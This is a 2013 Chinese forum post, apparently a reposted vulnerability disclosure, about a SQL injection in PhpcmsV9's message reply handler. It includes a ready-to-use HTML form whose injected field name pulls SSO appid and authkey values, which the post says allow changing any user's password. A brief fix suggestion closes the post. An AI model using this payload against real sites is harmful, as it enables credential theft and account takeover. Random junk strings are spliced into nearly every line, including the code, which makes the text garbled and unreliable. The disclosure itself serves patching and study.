找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2077|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:# ]5 `/ X. X- m& Q' {! G
) F8 u5 R& j  T* Z* O) {/ O
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。# n% R5 [2 A. a7 r! G
: i0 X$ [- l: w; Y$ m
明天再更新下一个漏洞。
: `4 p- x" o0 ?3 z# p/ p9 |& O详细说明:
# R  I! k& K* W$ }- f1 t6 k在/phpcms9/phpcms/modules/message/index.php中有代码如下:
: g" x0 d) o1 T& Y4 X
% d$ L& B- o. y) B3 F9 S$messageid = $this->message_db->insert($_POST['info'],true);
+ u9 i! b: s, f3 ~7 o1 k8 }) t* ?. Q; E: ?+ {2 y7 k6 {
! s6 v. D, O+ ~3 M  g* t' m
insert方法是key value的,代码如下:
# l( ?0 ?) c& ^  Y8 _6 J# H+ O# [
public function insert($data, $table, $return_insert_id = false, $replace = false) {
+ h6 ~' X  K2 _8 E                if(!is_array( $data ) || $table == '' || count($data) == 0) {0 u; l& N1 r3 j4 {$ t: ^# F7 y
                        return false;
: r' D5 [) Q2 }  O' A                }
! v: `& Y; H, l) [; l+ T6 Z               
8 j6 U2 r# ?: N1 K' D9 V. F                $fielddata = array_keys($data);
* R) x; a- [0 \( m3 E5 w0 [8 a                $valuedata = array_values($data);1 k0 B& _* i1 M; H
                array_walk($fielddata, array($this, 'add_special_char'));
# c1 Z. D: \8 M' ]                array_walk($valuedata, array($this, 'escape_string'));
3 s& h* w3 x% V$ m               
+ b. |( F* x2 l' R: Q+ a                $field = implode (',', $fielddata);  Y3 W7 x3 `9 ]0 B( l1 L( W% T1 q
                $value = implode (',', $valuedata);
, z! k  Z% f/ P3 P' y2 [, J* L* z0 C. A# Z: f
                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
: q! F! f; Y) r                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
9 s6 F. e& U: E" i2 o. ]$ @' }                $return = $this->execute($sql);
) S) [8 S" b8 V  v  `                return $return_insert_id ? $this->insert_id() : $return;; ~3 P, O5 c9 t( @
        }
, }' y( p' Y# x3 u
% j7 ^& s/ U  ]6 f! l% w% _/ V, A2 z  r
嗯,很遗憾的是3 n; f( q1 D7 q" u' \* V1 G

) F% d4 D. M& h# Q) C+ i  P4 tarray_walk($fielddata, array($this, 'add_special_char'));
& F: `* B2 Y8 w3 j
$ [! r9 s% i; G4 I; [0 L) U& k/ ~. ]' O. l0 ?' n
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。# Y9 y3 ~7 i5 Z- |
. y; n6 r9 p- x. b( E) w- T
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。6 {" N% @2 S" p& M0 k* c3 r# b

  n3 m  ^, L! T: c漏洞证明:
1 R& `3 j! _# L4 Y/ T) I读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
6 i& v! g4 M( v  `+ t: {1 U
  `! I. H  c3 y. ?6 p: Y7 d1 N8 l* x3 O" D; E
表单如下:用户名什么的得自己改一改。' c2 p. U2 Q6 N$ m  u) e! O; Y
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
8 v; `; s. q+ i6 |/ X- `: e- q<table width="100%" cellspacing="0" class="table_form">
5 h/ @4 ?* d2 k' f8 E9 A<tr>
% i8 ^( N" F8 b' z0 Q1 V+ B9 o<th>标 题:</th>: N. Q3 k1 N" j; t
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>$ y* k3 r6 U5 y
</tr> 5 N+ d( Z* z, Y# a/ T
<tr>
; y& a  H8 c8 D3 |1 D, Q& p<th>内 容:</th>
! @9 \7 m$ J6 x; z5 c) |; y<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
. ^9 Q. h, Y8 \1 n</tr>* x; \. P  [+ S5 D2 N( H
<input type="hidden" name="info[replyid]" value="2" />
6 e2 C5 G8 p  Y$ w<input type="hidden" name="info[send_to_id]" value="cc" />
. b: @& Y# X, U- k* `- Z<input type="hidden" name="info[send_from_id]" value="hh">' M/ `* D, p; |+ r+ \9 s) A' h
<!-- 漏洞的利用重点在这里开始 -->
+ ]5 S1 ~$ k) `, a! o7 M<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> 0 Z9 ?- j0 y' d
<!-- 漏洞的利用重点在这里结束 -->* B5 f8 R1 u; d& _6 n2 @5 b
<tr>5 s% F: s8 }) X5 `0 k/ I
<th>验证码:</th>
1 Y" A2 n7 A2 z" M5 i0 K<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>8 I! z: B, G/ B! J
</tr>% a1 G4 W  }. @
<tr>& {. g" j1 G" @  j
<td></td>( t$ Q8 k% S7 _0 S( f5 ~+ N
<td colspan="2"><label>5 }4 Y+ G) ~: c2 \" r- V. j4 y
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
0 r5 r/ t. {4 c2 m! l</label></td>
! R; R2 ^) y1 W! Y% c3 j8 d6 {; b</tr>
# d  d8 [- @' [' K% c</table>2 J/ u' [1 i6 B! u9 v# K4 M) P/ m3 t
</form>- w( j1 ]' M, a$ \& k# `
在add_special_char函数内对key做过滤就可以了。
7 d9 c( j7 R6 z5 T( w. E8 @& S+ g# t9 [
2 c, O% S" N# t+ Y

8 R& T$ Y4 I" K- @. {2 W6 `: U* }3 ~

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表